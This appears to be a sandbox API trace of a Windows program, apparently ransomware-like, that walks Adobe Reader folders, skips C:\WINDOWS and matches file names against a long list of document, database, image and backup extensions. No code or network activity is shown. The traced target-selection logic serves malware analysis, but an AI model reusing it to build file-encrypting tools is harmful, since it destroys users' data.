	[0178.115] lstrlenW (lpString=".asa") returned 4
	[0178.115] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".asc") returned 4
	[0178.115] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".ascx") returned 5
	[0178.115] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1
	[0178.115] lstrlenW (lpString=".asm") returned 4
	[0178.115] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1
	[0178.115] lstrlenW (lpString=".asmx") returned 5
	[0178.115] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1
	[0178.115] lstrlenW (lpString=".asp") returned 4
	[0178.116] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".aspx") returned 5
	[0178.116] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1
	[0178.116] lstrlenW (lpString=".asr") returned 4
	[0178.116] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".asx") returned 4
	[0178.116] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".avi") returned 4
	[0178.116] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".avs") returned 4
	[0178.116] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".backup") returned 7
	[0178.116] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1
	[0178.116] lstrlenW (lpString=".bak") returned 4
	[0178.116] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".bay") returned 4
	[0178.116] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".bd") returned 3
	[0178.116] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1
	[0178.116] lstrlenW (lpString=".bin") returned 4
	[0178.116] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".bmp") returned 4
	[0178.116] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".bz2") returned 4
	[0178.116] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".c") returned 2
	[0178.116] lstrcmpiW (lpString1=".c", lpString2="js") returned -1
	[0178.116] lstrlenW (lpString=".cdr") returned 4
	[0178.116] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".cer") returned 4
	[0178.116] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1
	[0178.116] lstrlenW (lpString=".cf") returned 3
	[0178.116] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1
	[0178.116] lstrlenW (lpString=".cfc") returned 4
	[0178.116] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cfm") returned 4
	[0178.117] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cfml") returned 5
	[0178.117] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1
	[0178.117] lstrlenW (lpString=".cfu") returned 4
	[0178.117] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".chm") returned 4
	[0178.117] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cin") returned 4
	[0178.117] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".class") returned 6
	[0178.117] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1
	[0178.117] lstrlenW (lpString=".clx") returned 4
	[0178.117] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".config") returned 7
	[0178.117] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1
	[0178.117] lstrlenW (lpString=".cpp") returned 4
	[0178.117] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cr2") returned 4
	[0178.117] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".crt") returned 4
	[0178.117] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".crw") returned 4
	[0178.117] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cs") returned 3
	[0178.117] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1
	[0178.117] lstrlenW (lpString=".css") returned 4
	[0178.117] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".csv") returned 4
	[0178.117] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1
	[0178.117] lstrlenW (lpString=".cub") returned 4
	[0178.118] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dae") returned 4
	[0178.118] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dat") returned 4
	[0178.118] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".db") returned 3
	[0178.118] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1
	[0178.118] lstrlenW (lpString=".dbf") returned 4
	[0178.118] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dbx") returned 4
	[0178.118] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dc3") returned 4
	[0178.118] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dcm") returned 4
	[0178.118] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dcr") returned 4
	[0178.118] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".der") returned 4
	[0178.118] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dib") returned 4
	[0178.118] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dic") returned 4
	[0178.118] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".dif") returned 4
	[0178.118] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".divx") returned 5
	[0178.118] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1
	[0178.118] lstrlenW (lpString=".djvu") returned 5
	[0178.118] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1
	[0178.118] lstrlenW (lpString=".dng") returned 4
	[0178.118] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1
	[0178.118] lstrlenW (lpString=".doc") returned 4
	[0178.118] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".docm") returned 5
	[0178.119] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1
	[0178.119] lstrlenW (lpString=".docx") returned 5
	[0178.119] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1
	[0178.119] lstrlenW (lpString=".dot") returned 4
	[0178.119] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dotm") returned 5
	[0178.119] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1
	[0178.119] lstrlenW (lpString=".dotx") returned 5
	[0178.119] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1
	[0178.119] lstrlenW (lpString=".dpx") returned 4
	[0178.119] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dqy") returned 4
	[0178.119] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dsn") returned 4
	[0178.119] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dt") returned 3
	[0178.119] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1
	[0178.119] lstrlenW (lpString=".dtd") returned 4
	[0178.119] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dwg") returned 4
	[0178.119] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dwt") returned 4
	[0178.119] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".dx") returned 3
	[0178.119] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1
	[0178.119] lstrlenW (lpString=".dxf") returned 4
	[0178.119] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".edml") returned 5
	[0178.119] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1
	[0178.119] lstrlenW (lpString=".efd") returned 4
	[0178.119] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1
	[0178.119] lstrlenW (lpString=".elf") returned 4
	[0178.119] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1
	[0178.120] lstrlenW (lpString=".emf") returned 4
	[0178.120] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1
	[0178.120] lstrlenW (lpString=".emz") returned 4
	[0178.120] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1
	[0178.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4220460 | out: hHeap=0x5a0000) returned 1
	[0178.120] FindNextFileW (in: hFindFile=0x4140a58, lpFindFileData=0x374d7b4 | out: lpFindFileData=0x374d7b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0aa4ec9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0178.120] FindClose (in: hFindFile=0x4140a58 | out: hFindFile=0x4140a58) returned 1
	[0178.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.120] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 1
	[0178.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0178.120] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0b175c9, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0b175c9, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tool", cAlternateFileName="")) returned 0
	[0178.120] FindClose (in: hFindFile=0x4140c58 | out: hFindFile=0x4140c58) returned 1
	[0178.120] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42e29c8 | out: hHeap=0x5a0000) returned 1
	[0178.120] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0a7ecbb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0a7ecbb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0a7ecbb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="js", cAlternateFileName="")) returned 0
	[0178.120] FindClose (in: hFindFile=0x5ba5b0 | out: hFindFile=0x5ba5b0) returned 1
	[0178.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0178.121] FindNextFileW (in: hFindFile=0x5ba7f0, lpFindFileData=0x374df28 | out: lpFindFileData=0x374df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf088edfc, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf088edfc, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0b175c9, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tracked-send", cAlternateFileName="TRACKE~1")) returned 0
	[0178.121] FindClose (in: hFindFile=0x5ba7f0 | out: hFindFile=0x5ba7f0) returned 1
	[0178.121] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0178.123] FindNextFileW (in: hFindFile=0x5ba530, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="viewer", cAlternateFileName="")) returned 1
	[0178.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.381] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0178.381] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ca-es") returned 127
	[0178.381] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ca-es") returned 1
	[0178.381] lstrlenW (lpString="ca-es") returned 5
	[0178.381] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ca-es") returned -1
	[0178.381] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5090050
	[0178.381] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ca-es") returned 127
	[0178.381] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\ca-es\\*", lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140f98
	[0178.381] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.381] FindNextFileW (in: hFindFile=0x4140f98, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0178.381] FindClose (in: hFindFile=0x4140f98 | out: hFindFile=0x4140f98) returned 1
	[0178.381] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.381] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0178.382] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\cs-cz") returned 127
	[0178.382] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\cs-cz") returned 1
	[0178.382] lstrlenW (lpString="cs-cz") returned 5
	[0178.382] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="cs-cz") returned -1
	[0178.382] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5090050
	[0178.382] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\cs-cz") returned 127
	[0178.382] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\cs-cz\\*", lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140e18
	[0178.382] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.382] FindNextFileW (in: hFindFile=0x4140e18, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0652adb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0652adb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0652adb, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
	[0178.382] FindClose (in: hFindFile=0x4140e18 | out: hFindFile=0x4140e18) returned 1
	[0178.382] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5090050 | out: hHeap=0x5a0000) returned 1
	[0178.382] FindNextFileW (in: hFindFile=0x4140c18, lpFindFileData=0x374dcac | out: lpFindFileData=0x374dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0178.383] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk") returned 127
	[0178.383] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk") returned 1
	[0178.383] lstrlenW (lpString="da-dk") returned 5
	[0178.383] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="da-dk") returned -1
	[0178.383] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x5090050
	[0178.383] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk") returned 127
	[0178.383] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\tracked-send\\js\\viewer\\nls\\da-dk\\*", lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4140c58
	[0178.383] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0178.383] FindNextFileW (in: hFindFile=0x4140c58, lpFindFileData=0x374da30 | out: lpFindFileData=0x374da30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf081c822, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf081c822, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf081c822, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0178.383] lstrlenW (lpString="ui-strings.js") returned 13
	[0178.383] lstrlenW (lpString=".1cd") returned 4
	[0178.383] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1
	[0178.383] lstrlenW (lpString=".3ds") returned 4
	[0178.383] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1
	[0178.383] lstrlenW (lpString=".3fr") returned 4
	[0178.383] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1
	[0178.383] lstrlenW (lpString=".3g2") returned 4
	[0178.383] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1
	[0178.383] lstrlenW (lpString=".3gp") returned 4
	[0178.383] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1
	[0178.383] lstrlenW (lpString=".7z") returned 3
	[0178.383] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1
	[0178.383] lstrlenW (lpString=".accda") returned 6
	[0178.384] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".accdb") returned 6
	[0178.384] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".accdc") returned 6
	[0178.384] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".accde") returned 6
	[0178.384] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".accdt") returned 6
	[0178.384] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".accdw") returned 6
	[0178.384] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1
	[0178.384] lstrlenW (lpString=".adb") returned 4
	[0178.384] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".adp") returned 4
	[0178.384] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai") returned 3
	[0178.384] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1
	[0178.384] lstrlenW (lpString=".ai3") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai4") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai5") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai6") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai7") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".ai8") returned 4
	[0178.384] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1
	[0178.384] lstrlenW (lpString=".anim") returned 5
	[0178.384] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1
	[0178.384] lstrlenW (lpString=".arw") returned 4
	[0178.384] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".as") returned 3
	[0178.385] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1
	[0178.385] lstrlenW (lpString=".asa") returned 4
	[0178.385] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".asc") returned 4
	[0178.385] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1
	[0178.385] lstrlenW (lpString=".ascx") returned 5
